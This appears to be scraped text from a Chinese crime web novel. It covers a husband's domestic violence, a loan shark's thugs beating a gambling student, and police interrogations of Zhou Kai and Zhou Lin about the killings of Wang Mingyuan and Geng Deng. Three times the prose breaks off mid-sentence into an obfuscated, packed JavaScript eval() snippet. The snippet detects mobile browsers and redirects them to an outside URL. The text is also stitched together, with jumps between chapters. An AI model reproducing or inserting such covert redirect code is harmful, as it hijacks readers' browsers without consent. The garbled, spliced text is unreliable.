孙英梅再也说不下去,使劲抽了抽鼻子,低着脑袋,生怕余大佑看见,眼泪一颗一颗地掉在饭碗里。 余大佑笨拙地伸过袖子,胡乱地在她脸上擦了又擦,安慰她道:“你也别怪自己,你怎么会知道她的病突然就严重了?你又怎么会知道耿攀这么不要脸?” “呸!呸!他就是个不要脸的狗杂碎!所以我今天下午跑去他家诊所骂了他一顿!他活该挨骂!”孙英梅将手里的筷子恨恨地插在饭碗里,眼泪还挂在脸上,突然恶狠狠地骂道。 当日晚上,孙英梅自责不已,翻来覆去睡不着觉。余大佑在她身旁,劳累了一整天,晚上又安慰了她半晌,后来实在撑不住,还是睡了过去。 只是他们不知道的是,夜间河图村的杀猪匠家,爆发了一场争吵。 杀猪匠白日里硬拽着妻子小元到耿攀家大闹了一场。 他张嘴就要一大笔钱,直到下午要到满意的数字,方才鸣金收兵。 晚上,他回到家,看到高烧未退还要撑着身子做饭的妻子小元,白日里管耿攀要钱时,周围人看自己揶揄嘲笑的神情,一下子乱七八糟的涌入他脑海中。 杀猪匠怒不可遏,一把挥去桌上的饭菜,又掀翻桌子,揪着妻子小元的衣领就是一阵拳打脚踢。 末了,他嫌弃地呸一声,大口唾在妻子瘫倒在地的身上,捏紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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余珍宝一天天地长大,越来越顽皮,尽管还玩得不太明白,却总爱跟着邻居家的小男孩打水漂、扔石子、爬树、抓鱼,样样都来。 孙英梅始终觉得女孩儿要有一个女孩儿的样子,天天跟着一群调皮捣蛋的男孩子玩,这成了什么体统? 所以她每次看到余珍宝在池塘抓虾逮鱼,总要呵斥她一番。 若是看到几个孩子玩得满身脏污,干脆活也顾不上干了,立马让他们几个站成一排,一个个地挨个教训。 不过这也没能挡住几个孩子玩闹的热情,余珍宝扎着两条羊角辫,跟在几个哥哥身后,嬉嬉闹闹,叽叽喳喳,总是搅得孙英梅耳朵疼。 每到这个时候,余珍宝又得挨她娘一顿骂。 余珍宝跟她爹的性格截然不同,她不是个傻愣愣的人,惯常能辨明时机。 只要她爹不在,她便乖乖地挨了骂,甚至挨了打,不哭不闹。 每次哭完了,看着仍然在怒气中没能平复的孙英梅,她反而厚着脸皮装失忆,若无其事地攥住她娘的手臂,再晃晃她的衣袖,指着天上一团模糊不清的东西,开心地冲她娘喊:“妈妈,看呐!飞机诶!是飞机哦!” 但只要余大佑在家,情况便截然不同。 她娘骂她一句,她便要绞尽脑汁,用完所有学到的词语,回她娘一百句。 她娘要是被她气得冲她动手,她每次都能灵巧地从她举起的手底下“逃生”,逃难一样地挤进她爹怀里,环抱他环得紧紧的,任她娘怎么扯她都难以撼动分毫。 余大佑从不管他的珍宝是不是错了,他只管嘿嘿地笑着,紧紧地抱着她,好叫他的珍宝逃过一次又一次的教训。 此时的余大佑,已经几乎快要忘记他娘告诉他的故事,他不再在乎自己是否是神仙的孩子,也不在乎自己额头上是不是长了“龙骨”,他只觉得幸福。 这种幸福在他过去二十多年的时光里,只有爹和娘都还在世时,他短暂得体会到一阵子,只不过当时他还小,懵懵懂懂,不曾体会明白就猝然消失了。 就像他第一次吃饴糖的时候,馋人的味道勾得他飞快撕了糖纸,将它扔到嘴里。香甜味瞬间在口腔里蔓延,他刚体会到一丝丝美妙,坚硬的糖果却不巧地滑入他喉咙里。 囫囵吞枣,只留给他梦幻般地甜味。 这香甜的味道太过短暂,此后,他每次吃糖总是小心翼翼。 而此时,他也像吃糖一样,小心品味着他的幸福生活,生怕这种日子不巧地滑落。 但越害怕什么,越是来什么。 他的饴糖又滑落了。 34.逃不掉的赌债 “哥,王哥,你再宽限我几天,我这几天实在是没钱了——” 哀求的话语还没说完,对面坐在红木椅子上的男人就不耐烦地皱了皱眉头。 他懒得说一句话,下巴微微扬起,连一个眼色都懒得递过来,旁边的小弟就会了意。 小弟个子不高,圆圆的脸,乍一看还以为他只是个学生。 可他个头小,力气却不小。 他快步向前,猛地揪住周凯精心打理过的头发,另一只手朝他脸上重重一挥,“啪”地一声,五根红色的指印就烙在周凯的脸上。 周凯条件反射地就要喊叫出声来,但毕竟挨了一顿打,好歹还剩下些理智。 他的余光看见矮个子小弟后的王哥面露不愉,紧锁眉头,正转动着拇指上的金黄色戒指,于是生生地忍下已到达喉咙的喊声,变成一记闷哼,含混着嘴里的血腥味一并吞进肚子里。 小弟扇了他一巴掌之后,又飞起一脚,发了狠地踹在周凯的腰间。 周凯害怕会招来更多更猛烈的殴打,只能忍着身上的剧痛,像根弹簧一样弹起来后,又跪得笔直。 “哥,求求你别打了,我很快就能筹到钱了,你再相信我一次!最后一次!”周凯跪在男人面前,掌心相合,不住地搓手。 两颊已经透出一团又一团的青紫色,嘴角更是被人打破,隐隐间还能看到从嘴角流淌下的鲜血。那血液从他才长出的细短胡茬间流过,滴落在他惯常爱穿的白色衬衣上,在他胸襟开出朵朵鲜红色的花,显得他无比狼狈。 王哥这时候不知道从哪里掏出来一把指甲刀,歪歪扭扭地坐在红木椅子上,修剪大拇指上硬得跟石子儿一样的黑灰色指甲。 周凯跪在地上不断告饶,一边祈求他还一边磕头。 王哥却像是压根听不见,像是研究一道数学题一样钻研自己的大拇指。 “这指甲呀不能留得太长了,太长了碍事,做事情不方便。外边儿的债啊也不能留得太多,否则啊时间长了怕收不回来。”王哥兀自说着话。 “啪!”一剪子下去,他登时露出一个十分舒坦的表情。 “就是,就是。”刚才按照王哥吩咐去殴打周凯的圆脸小弟此时已经退后几步,站在王哥的旁边,连连狗腿子气十足地附和道。 他弓着身子,马屁倒是拍足了,一闭嘴却觉得嘴里好像有异物。 小弟看向王哥还没剪完的黑灰色指甲和他手指皱纹里黑泥的状异物,不停地抽搐嘴角,暗道不妙。 他灵机一动,慌忙借着捂鼻子咳嗽的功夫,将嘴里的异物顺出来。 他没敢看上一眼,草草地将它扔在地上。不知道是不是心理作用,他觉得自己中毒了,心脏突突地跳,甚至脑子也感到一阵眩晕。 圆脸小弟睁大眼睛,摇了摇头,将自己无端的怀疑按下心头。 不可能,不可能,世界上不可能会有带毒的指甲……他妈的死胖子,要个账你还剪什么指甲,要死了。 他心中暗暗腹诽,面上半点不显,只恨恨地盯着跪在斜前方的周凯。 他家里没钱,脑子也不中用,读书的时候总是吊车尾。 家里人和邻居都说他读书跟爬皂角树一样,那时候没少闹出笑话,也没少惹事。后来长大了总要讨口饭吃,谋个生活,就阴差阳错地做了这死胖子的小弟,跟着他放高利贷讨债。 他也搞不清楚,他是没有读书的本事、脑子又不够用,才不得已走了这条烂路。 面前这个大学生脑子好用,考上了好大学,看他的穿着也不是出生穷人家庭,怎么会堕落到沾染上赌博,最后竟然敢大着胆子向王哥借钱? 别人不清楚,他跟着王哥这么些年了,他可清楚得很,这个王哥绝对不是个善茬。 混过□□,坐过牢,现在不知道给谁打点手里的钱,但他背后的人肯定不简单。毕竟王哥好几次暴力催收都差点闹出人命,惹得警察都出动了,可他次次安然无恙,越发变本加厉,却屁事儿没有。 民间借贷利息本来就高,这小子也是倒霉,碰上了利息最高的一个,就为了多借三万块钱,结果惹上了这尊“阎王爷”,不知道他要怎么收场了。 小弟微微摇头,看向周凯的目光里,不自觉地带上了几分怜悯和可惜。 他本来就是个没有文化的莽夫,平生最羡慕读书人,看着周凯狼狈的模样,不知道怎么发了圣母心,却好像完全忘记了,这大学生满身满脸的伤口都是拜他所赐。 “小周啊,不是你王哥我不给你宽限,你摸着你的良心说话,我给你宽限几次了?前前后后快有一个月了吧。你王哥给了你优待,可你也不能总糊弄我啊,你得拿出点诚意来,是不是?” 王哥终于抬起了头,粗糙黝黑的脸上,一道骇人的刀疤从左边眉宇斜斜地划到右耳之下,眼神中满是狠厉和威胁,让人丝毫不怀疑他曾经杀过人。 王哥接着笑了笑,受过伤的面皮便跟着他呵呵一笑的动作诡异地扭动,好像下一秒他的脸骨就会和贴附在其上的面皮分离,露出一个森然的颅骨来。 “哥,这次是真的,我真的能筹到钱,你相信我!之前是我爸不愿意给我,但是现在他死了,他的钱都是我的了!也就是这几天了,等我拿到我爸的钱,我马上就能还给你!”哀求的声音透出几分急切和尖利,仿佛生怕别人不会相信他,因而提高了音量证实自己所言非虚。 周凯跪着向前几步,沾满了血液和灰尘的双手慌乱地在地上攀爬,快要够到王哥的时候,被他身边的小弟适时地踢开。 “滚犊子!王哥也是你能碰的?你的脏手往谁身上蹭呢?” 小弟一边呵斥,一边却偷偷地看了周凯的指甲,晶莹剔透,除了沾上了些血液和泥,没有一点儿黑色脏污。 他不由得想到方才嘴里的异物,心头又泛起呕吐感,心理暗示也更强烈,这会儿竟然有种要被毒 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“砰!”虚掩着的破旧木门别人一脚踹烂,变成几块木头碎片。 “他妈的,是哪个不长眼的?小兔崽子,你胆子让狗吃了,连我王哥的门也敢踹?只打算活一天,明天不过了是不是……”圆脸小弟一边口中不干不净地骂着,一边越过周凯走向了外间。 王哥撇了撇嘴,没耐烦地起身查看,刚从红木椅子上坐起来,就看到小弟慢慢地退了回来。 小弟的前方,齐刷刷站了几个人,旁的他不认识,其中的一个却极为熟悉,甚至可以说是恨之入骨。要不是因为他,自己五年前也不会栽了跟头,二次进宫。 “哟呵!这不是白警官吗?今天什么风给您吹过来了,您——” “我们收到举报,举报你放高利贷还暴力催收,现在跟我们回警局接受调查!把人带走!” 白杨手一挥,跟他一起来的几个便衣警察随即走上前,三两下将王哥和他的几个小弟控制住。 “白杨!我没有犯法,你凭什么抓我?放开我!”王哥一路上保持着高分贝的大声嚷嚷,恶狠狠地目光死死地锁住白杨,后者只淡淡地点点头,惹得王哥更是气极。 圆脸小弟却并没有因为王哥的高亢而振奋起来,并没有跟着一起喊冤,心理暗示的作用已经达到顶峰,好像毒指甲的功效真的发作了,他只觉得眼前一片昏黑,天旋地转…… 周凯满脸淤青,此刻两边脸颊都已经高高肿起,他抬头,一个熟悉的人正径直向他走来。 “你也跟我们走一趟吧。”班青踢开挡在路上的破旧凳子,在周凯面前蹲下身体,看着他,意味深长地说道。 虽然才出狼坑,马上又要入虎穴,但周凯却感到无与伦比的放松。 至少,不会挨打了。 逃不过的,这一天总会来到,早晚而已…… 35.我没什么可说的 自从汪明远的事情之后,周凯就一直提心吊胆,惶惶不可终日。 一直睡眠质量很好、沾床就能睡着的他,这段时间以来还得了失眠的毛病。有时候凌晨两三点才睡着,有时候甚至一整个通宵都没有困意,第二天还得装作没事人一样上八点的早课。 他虽然年轻、身体也好,可是也经受不了这种长期折腾。失眠后的第二天整个人都不对劲,脑子嗡嗡的,好像脑仁上压了一块巨石,时不时地,还疼上几下。 一个星期之后,他的反应能力明显下降,注意力也不集中。 用来应付上课倒也算了,毕竟是大学,又不是高三。但是惨就惨在,除了上课,他还要应付警察的问话,得圆他之前扯的慌。 更糟糕的是,距离高利贷的最后还款日期越来越近,王哥逼得他越来越紧。而周琳更是跟汪明远一样的态度,对金钱看得死紧,不管他怎么祈求,除了生活费,别的一分也没有。 他本想借着汪明远的事情,威胁她,吓唬她,最好能吓得她把钱交出来。 实在不行就直接把她送进去,毕竟,等她进去了,家里的钱可就完完全全是他周凯说了算。 谁知道根本吓不着她,人倒是进去了,警察又不知为何,迟迟不给她定罪。 他折腾一大圈儿,不但一分钱没拿到,如今到了还款日期,还被王哥暴打一顿,差点连手指头都被切去,最后还不知哪里出了问题,惹火上身,暴露了自己。 审讯室里,周凯低着头一直保持沉默,没人知道他在想些什么。 蔡小新是个闲不住的人,也憋不住嘴里的话,他余光看到梁斌跟对面坐着的周凯一样,同样闭口不言,便决心打破审讯室里的沉默。 “周凯,可真是不容易啊,我们盯了你一个多星期,总算是逮着了。我们已经充分掌握了你参与到汪明远一案的证据,自己交代吧,你干的事儿。” 蔡小新一脸的放松,好似觉得胜利在望,拿下一个大三的学生,还不是易如反掌? 可是他低估了,低估了眼前这个学生的狡诈,也忘记了上次和白杨一道找他谈话的场景,忘记了周凯当天是怎么忽悠他,还让他产生了同情。 梁斌比蔡小新还小一岁,却比他沉稳多了,他看着周凯保持不动,并没有丝毫打算交代的模样,顿感不妙。 在蔡小新和梁斌看不到的地方,周凯低头凝视着食指指缝里不知什么时候染上的血迹。 熬,熬过这段时间!只要自己抵死不认,他们警察也拿不出证据来,到时候出去继承汪明远的遗产,拿到钱,王哥的事儿也就能过去了! 至于周琳……反正她出轨和人搞破鞋,对不起汪明远的人是她,自己又是汪明远最疼爱纵容的儿子,她对不起汪明远,可不就等于是对不起自己? 既然如此,她给自己顶罪有什么不对的? 脑海中只需片刻的思虑,周凯就忽然安了心,他猛地抬起头,一脸狐疑。 果然,一如既往的狡猾。 “还要我交代什么呢?所有我知道的,我都已经如实相告。我怀疑我妈有问题,虽然她是我亲妈,但为了还我爸一个公道,我也大义灭亲,把她不对劲的地方告诉了你们警察。 “现在她自己也已经自首了,交代了她的罪行。她和我爸的事情,她知道得最清楚,你们要是还有哪里不明白的,问她就行。至于别的……我真是不知道了。” 周凯说完,好像是觉得仍然不足以表明自己的清白,他身体前倾,疑惑地凝视蔡小新和梁斌,嘴角微扯。 “如果你们充分掌握了证据,那为什么不在上次就抓我?反而大热天的,派这么些人来跟踪我,如此大费周章做什么?是警力太充足的缘故吗?”他的身体往后靠在椅子上,“所以啊,你们不用诈我,我是清白的。不要妄想能从一个无辜的人嘴里得到你们想要的答案,因为你们找错了人。” 蔡小新脸上青一阵白一阵,隐约又透出点尴尬,好在审讯室里光线够黑,他的脸也足够黝黑,倒也让周凯看不清楚。 只是他那张机关枪一样的利嘴,平时连他自己都控制不住,一下子因为周凯的几句话就熄了火,难免让周凯有些看穿了他的心虚。 蔡小新漏了怯,梁斌却没有。 “我们查看了你在安城住所的监控视频,8月13日晚上八点左右回家,14日下午5点左右,你从家里走出来。”梁斌拿着几张打印出的A4纸,走到周凯面前,递给他,“看看呢,这个穿着搬家公司工装的人,是你吧?” A4纸上,一个一米八几的瘦削男子,穿了一套蓝色的工装,戴着同色系的蓝色鸭舌帽,正做出大步向前的姿势,他用手压低帽檐,故而看不清脸。 周凯抬眼一看,登时感到一阵慌张,但又想到自己那日准备充分,不可能让他们拍到正脸。凭这几张模糊的图片,能说明什么? “不是我,我是个大学生,怎么会有搬家公司的衣服?再说了,我那些天一直待在家里,等着开学,哪里都没去,你们查我的手机定位就可以证明。” 蔡小新反问道:“不是你吗?但是你们小区的保安可不是这么说的,他清楚地记得,14日下午5点左右穿成这样走出小区的人就是你,保安大叔不是还把你当做没登记的搬家工人,说了你几句吗?” 听了这话,周凯突然想起真有那么个保安,脸上的笃定才有了一丝松动。 蔡小新终于从他身上扳回一局。 “保安嘛,大多都是些上了年纪的人,有时候老眼昏花,加上小区里人来人往,看错了也是常有的事。”周凯稍加思索,三两下又扯了个谎。 蔡小新的胜利还没持续几秒钟,看着好像又被狡猾的对手击溃。 “我们查了沿途的监控,这个身穿蓝色工装的人,从你们小区走出来后,上了安城到关图县的高速,最后在快到达关图县城区的地方下了车,这你怎么解释?”梁斌目光紧锁着周凯,却看见他镇定自若,丝毫不慌。 “我说过了,这个人不是我,我一直都在安城的家里,直到案发第二天,也就是17日我才回的关图县。这个穿蓝色工装的人为什么从我家小区走出来,我不知道;他为什么去关图县,这你得问他。” “你是在快到关图县的时候,大概在巢河附近下的车吧?那天你说,你家就住在附近,所以给了司机五十块钱,让他允许你在巢河附近的高速路旁下了车。你有没有想过,司机听过你的声音,也见过你的脸呢?”梁斌微微扯动嘴角,笑吟吟地看着坐得稳稳当当的周凯。 周凯嗤笑一声,略带讽刺地说:“那你把那位司机叫过来,让他来辨认一下,看到底是不是我嘛。” 他的语气十分自信,自得于当天的充分准备。他从安城到关图县时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140968|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以得了流感为由,一路戴着口罩,说话时还故意压低声音,让司机和车上的其他乘客以为他真的生了病。 那车上全都是没见过的陌生人,况且都过了这么些天,怎么能真的辨认出他来? 只是他想不到,他只漏出了一双眼睛,小区的那位保安怎么偏偏就能认出是他? “那行,那我们就试一试。”梁斌看诈不了他,不着声色地转了话题,“现在跟我们说说你赌博并且借高利贷的故事吧。” “没什么可说的,那是我的私事。” 梁斌站起身,转到椅子后来来回回地走动,手里拿着方才的一沓照片。 “嗯,既然你不说,那让我来猜一猜。你的中学老师说你从小到大一直很听话,成绩很好,所以你爸视你为全家的骄傲,对你看得紧,管得严,所以你一直处于压抑的状态。是不是?” 梁斌站定在椅子后,笑问他的对手。 周凯无所谓地笑笑,脸上已经满是不耐烦,他一脸莫名地反问:“这跟你们的案子有什么关系?” “关系可大了!”蔡小新眼睛一横,大声说道。 他也不明白怎么就关系大了,但是他看不惯周凯成竹在胸的那副嚣张模样,显得他蔡小新很好欺负似的,所以选择无脑维护梁斌。 梁斌看了一眼突然激动的蔡小新,继续说:“这种压抑状态一直持续到你高中毕业,听你的老师说,你的高考成绩本来可以报考北方一个很不错的大学,但是你爸爸觉得太远,不愿意你出省,就让你选择了安城大学,是不是?” 周凯眉眼间的不耐烦已经到了极点,他眉头紧拧,并不作答,只看着梁斌和蔡小新唱独角戏。 “你到了安城大学之后,你爸仍然时时想要控制你,你并没有因为考上大学而逃脱他的掌控,你现在又成年张大了,因此你和他的关系越发紧张。他越想要控制,你就越想要逃脱,越想要自由。 “就在这个时候,你不小心沾染上了网络赌博。渐渐地,赌博成为了你发泄和解脱的唯一方式。而后,等到你意识到自己沾染上赌瘾的时候,已经戒不掉了,你的经济状况也已经出现了巨大的问题,你又不敢告诉家长,所以找社会上的闲杂人员借了高利贷。 “你深知汪明远的性格,要是求助了他,就更摆脱不了他的控制。但你深陷高利贷,对方又逼你逼得紧,所以你找你妈妈帮助。结果她帮了你几次,看你仍然继续赌博,丝毫不收手,就放弃了你。我说的对不对?” “我再说一遍,这是我的个人私事,跟案子无关。”周凯沉着脸,平静地说道。 梁斌紧接着问他:“怎么会无关呢?你不是告诉放贷款的人,你很快就能拿到钱了吗?你爸爸死了,你妈妈又自首了,你当然就能顺利拿到钱了。” “我说了,我赌博借高利贷,是我的问题,但这些都是我的私事,跟我爸的死没有关系。你们要是认为是我干的,那请你们拿出充分直接的证据,否则别想逼我承认!” 周凯说完之后就拒绝再讲话,一脸平静地看着蔡小新和梁斌两人,好像是笃定了他们拿他没办法。 梁斌转头走到蔡小新面前,跟他使了个眼色,示意他不要再问话,又朝着墙外面微微摇头。 墙外观察着这一切的班青和白杨也明白了,这小子比他妈还要狡猾,没有绝对的证据摆在他面前,他绝不会认罪。 36.他能揭发我什么? “还不打算交代吗?还打算一个人扛下来?”白杨成竹在胸,抱着双臂,浅笑看向对面低头不语的周琳。 白杨的语气透出前所未有的把握和底气,周琳心中犹疑,但不动声色,仍然保持低着头的姿势。 “我都交代了,是我让耿登杀害了汪明远,这个我认,但是耿登怎么死的我不知道。”周琳又摆出一副死猪不怕开水烫的样子,淡淡地应付。 班青厌烦了她那副“你能拿我什么办法”的样子,直截了当地炸出一个消息:“你儿子周凯已经自首了。” “什么?!”周琳终于抬起头,双眼瞪大,死死皱着眉头。 “没听清楚吗?我说,你儿子周凯已经交代了。那天被拖进城南水泥厂的,不是汪明远吧?是耿登。你给我们的恐吓信也是假的,是伪造的,对不对?” 班青和白杨以一种很久都没有的放松姿势坐着,看着两人对面的周琳脸色大变,由红转白,又变得满脸铁青。 周琳还是继续保持沉默,只是紧紧交握的双手和她微微颤动的指尖已经出卖了她。 白杨决定再加一把火。 “你知道吗,其实你之前误服生附子而住院的时候,你儿子就已经揭发你了。” 周琳不知道想到什么,只张皇了片刻,而后又浑不在意地问道:“哦?他揭发我?他能揭发我什么?” “你儿子跟我们告发,告发你伙同汪明远贪了汪明迅和汪明运的赔偿金,告发你势利虚荣,早就和你小姨家断了联系,所以主动参加你小姨夫的葬礼,实则另有目的。” 周琳冷笑一声:“赔偿金的事情都是汪明远做的,我只是知道有这笔钱。至于我去我小姨夫葬礼,借机去了城南水泥厂,我不都承认了?” “那周凯向我们告发你出轨呢?他说他曾经在关图县的街上看到你和你领导手拉手,你们单位的保洁也在下班后听到你和你领导在办公室做事,这个你认不认?”白杨紧接着逼问道。 周琳脸色十分难看,嘴皮子动了几下,到底还是什么都没反驳,低下了头。 班青一直暗中观察着她,见状,突然幽幽地说:“你知不知道就在刚才,你儿子还觉得你应该因为出轨这件事付出代价,所以你……罪有应得?” 周琳感到脸上一阵发烫,被拷着的双手抖得厉害,她突然情绪崩溃,激烈地用双手砸向她坐着的椅子。 “我就知道!歹竹出不了好笋!汪明远这种阴毒的老子能生出什么良善的人吗?我这一辈子都栽到他们两父子身上了! “最讨厌约束,结果还是跟汪明远领了证;最讨厌孩子,最后还是跟他生了一个。现在好了,两个伥鬼,来我身上讨债了!” 周琳越来越激动,手上的手铐砸在椅子上,发出“咣当咣当”的声音,在空旷的审讯室里不断回音,加强…… 良久之后,班青害怕她伤了手腕,不得不出声阻止:“你冷静一点——” “人不是我杀的,汪明远不是,耿登也不是。耿登是汪明远杀的,至于谁又杀了汪明远,我不清楚。” 周琳其实隐隐约约感到汪明远的死和儿子周凯脱不了干系,虽然她感情淡薄,母性不强,不像其他女人一样爱自己的孩子,但那到底是自己十月怀胎生下来的,所以她失控了一瞬间,还是选择隐藏对周凯不利的指控。 班青说:“所以实际上,监控视频里被拖拽的人不是汪明远,而是耿登,走在最后的短头发的人是你?” “嗯。”周琳像个斗败了的公鸡,看起来没了之前的对抗态度。 她坐直了身子,被铐着的双手因为刚才的打砸而微微颤抖,但面色冷静,眼眸中隐约可见一丝灰败。 “事发前几天,汪明远突然找到我,让我帮他一个忙。那时候我们已经分居很久,前一阵儿又吵了架,所以两个人很久都没说话。我不想理他,装作没听见就想走,结果他一把扯住我,问我想不想离婚。 “然后他说希望我能帮他一个忙,并且给我一封信,承诺在事情结束之后,就跟我办理离婚,并且把他手里的钱分一半给我。我当然早就想离婚,我家的钱一直在他手里把持着,所以我心动了。” 班青想起周琳交给他们的那封恐吓信,问道:“谎称是秦晓峰写的那封?” “不是。那天他给我看的信没有落款,不知道是谁写的。上面说知道他黑掉了汪明运和汪明迅的赔偿金,要是他还要脸,还想在关图县混下去,就在8月14日的晚上去城南水泥厂跟他见面。” “那你给我们的那封信,是你伪造的?”白杨追问道。 “也不是,那封信也是汪明远写的。他让我在14日的晚上也去城南水泥厂,帮他杀掉威胁他的那人,处理掉尸体之后,再伪造现场,营造出他被人绑架的假象。 “汪明远事先把伪造的秦晓峰的信放在了书房,等到他失踪后警察上门调查的时候,我再引导警察去书房找出那封信,按照信上的地址,把他从城南水泥厂救出来。” “你们怎么伪造现场的?”白杨抱臂,点了点头。 “汪明远提前去城南水泥厂蹲过点,发现那片工厂荒了后就没用监控了。我们本来都准备好了搏斗一番,结果那天晚上,我们两个刚到就看到一个很瘦的男人走在前面。我还没有反应过来,汪明远就拿了个石头,把他砸晕了。” “石头呢?” “扔在了旁边的草垛里。” 白杨点点头,“嗯,继续。” “砸晕他之后,我和汪明远就把他往水泥厂里拖,结果汪明远突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166670|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现很远的地方有个红点,他怀疑是个监控摄像头,但不确定。但还是让我一路低着头,他和被砸晕的那人还交换了衣服。 “进入水泥厂之后,我以为他马上要动手了,但是很奇怪,他没有。他把那人弄醒,还问了他一些话。那时候我听见了他的声音,也看清楚了他的脸,才突然想起来,原来是他们一个村的耿登。” “汪明远问了耿登什么?”班青皱起眉头。 “进入水泥厂之后,汪明远就变得非常暴躁。他把耿登弄醒,然后问他‘耿攀的事,你是怎么知道的?’还有‘到底是谁让你来的?’” 果然跟耿攀有关!班青和白杨对视一眼,又不着声色地挪开视线。 “那耿登怎么回答的?” “他和汪明远都不是正常人,不管汪明远怎么打他踹他,他都不说话。汪明远暴怒得跟疯了一样,最后没了耐心,用刀杀了他。 “他让我帮他把耿登的尸体和那把刀一起扔到水泥厂的排污管道里。我不想干脏活,所以最后汪明远一个人扔的,跟我没关系。 “然后汪明远穿着交换回来的白T恤,用刀在自己身上开了几个口子——” “等等,刀不是已经扔了吗?”白杨皱眉,疑惑地问道。 “是另外一把干净的。” 白杨挑眉:“怕耿登有传染病啊?你俩还挺谨慎。” 周琳听清楚他的戏谑,无声地翻了个白眼。 白杨假意咳嗽一声,正经起来,“后头那把刀呢,在哪里?” “汪明远说上面有他的血,扔在现场,好叫警察看到。 “再后来他让我用绳子把他绑在水泥厂里,再把沾了血的白色T恤带回我小姨夫家。15日上午人下葬,我下午赶回聚业小区,拿出血衣再报警。” 班青身体前倾,揭破周琳的阴谋:“本来你应该按照原计划,在15日下午报警,并引导警察去你家书房找出那封伪造的秦晓峰的恐吓信,再按照信上的地址救人。结果你变了卦,打算独吞你家的钱,就把他撂在水泥厂不管了?” “嗯。”周琳好像失去大半力气,此刻声音极其虚弱。 白杨不相信地盯着她,“水泥厂的火是谁放的?” “反正不是我放的,我不——”她转念又想到周凯,心头一紧,转了话头,“耿登应该有个同伙,估计是那个同伙放的。” 班青看她好像快要撑不住了,问了最后一个问题。 “据我们了解,汪明远不是轻易相信他人的性格,更何况你们夫妻关系紧张,他怎么敢放心地把自己的命交给你?另外,你们夫妻两人的财产状况也不对劲,你们两人的收入和那笔赔偿金加起来都对不上……” 话还没问完,周琳向左歪倒,直接昏了过去。 37.流浪汉 周琳昏过去后,班青和白杨赶紧把她送去检查,没过多久,人就醒了过来,只是医生并没有诊断出她有什么问题。 白杨和班青听了医生的话后,两人对视一眼,都察觉到对方眼中的担忧。 果不出所料,越害怕什么越来什么。 周琳再次进入审讯室后,整个人的态度和气势又变了,又回到“什么都不知道,知道也无可奉告”的状态。 两人没有奈何,只能暂停对周琳的审讯。 不过所幸,按照周琳之前交代的内容,班青和白杨带人再次去往城南水泥厂,在案发地点外展开地毯式搜查,不出一个小时,就在水泥厂外的草垛里找到了那块石头。 石头约莫两个拳头大小,通身是花岗岩特有的灰白色,但石头的一侧呈现出深褐色。 将石头送回去检验,几天后结果出来了。 检验结果显示,石头上的深褐色的确是血迹,并且和耿登的DNA一致。 看来,周琳的确是没有说谎。不过自从用周凯刺激她之后,她一直表现得非常配合,整个审讯过程也非常顺利,到底为什么突然又变了态度? 白杨和班青在水泥厂靠近巢河的一侧走着,百思不得其解。 “她好像在我提到她家经济情况的时候,突然变得不对劲……”班青回忆着那日审讯时的情景。 “的确,最后咱俩问到她故意拖延救人,想要以这种方式害死汪明远,然后拿到所有的钱。她先是突然变得虚弱,然后你再次追问的时候,她就开始装晕。” 白杨也想起了审讯当天的情况,他侧过脸看着班青,却看见班青转过身子,面向河堤的方向,不知道在看什么,根本没听他说话。 白杨疑惑地走到班青身旁,问她:“你怎么了?看什么呢?” “14日那天,周凯从安城回关图县的时候,是从巢河附近下的高速路吧?” “对啊,司机师傅这么说的。”白杨还是不明白她的意思。 班青突然转头看向白杨,“他穿的那套搬家公司的工装,是长袖和长裤的搭配,头上戴了顶鸭舌帽,还戴了口罩。八月的天气,温度接近四十度,他穿成这样,先不说他能不能忍耐,如果其他人看见了,未免也太过招摇。” 白杨这会儿也明白了,他转而想到安城周凯家小区路口的监控。 “对了,他那天带了一个包……如果包里面装的是他要换的衣服,那包和他身上的那套工装在哪儿……” 班青看着对岸,沉思半天,作出了自己的猜想。 “周凯先把手机放在安城的家里,开了定位,扰乱咱们的视线。然后还不放心,乔装成搬家的工人,一路遮挡避开监控。足以见得,他是个非常谨慎细致的人。 “那身工装太招摇,他一定会换掉,那么换下来的工装和那个包就得处理。出了这片厂房,外面的监控和人流可就多了,所以我倾向于就地处理,而不是带出去。” “那包东西很可能还在厂房的某个角落里……”白杨点点头,转身回头看向身后的厂区,“不过,被烧掉也有可能。” 厂区绵延一片,从这么大的地方找出个小包,可不是件容易的事情。 白杨心中想着,到底没说出来,而后又转过身,同班青一齐看向对岸。 自从上次大雨后,关图县又接近二十天没下过一滴雨,巢河水位再次下降,露出河道中一块又一块的石头。 白杨突然想到一种可能性,他扭头注视着班青,刚要开口,班青就明白了他的想法。 “你想说,有没有可能周凯把他的包扔到了巢河里?” “如果扔到巢河里,顺着水流,现在肯定不知道漂到哪儿去了,就更是找不着……” “可是案发的时候很久没下雨,水位跟现在差不多。如果周凯把他的包扔里面,那不是一下就能看见了?依他的性子,我感觉不太可能……” 白杨点点头,又想到接下来的工作量,不免十分头疼,“只能大海捞针,试试看了。” 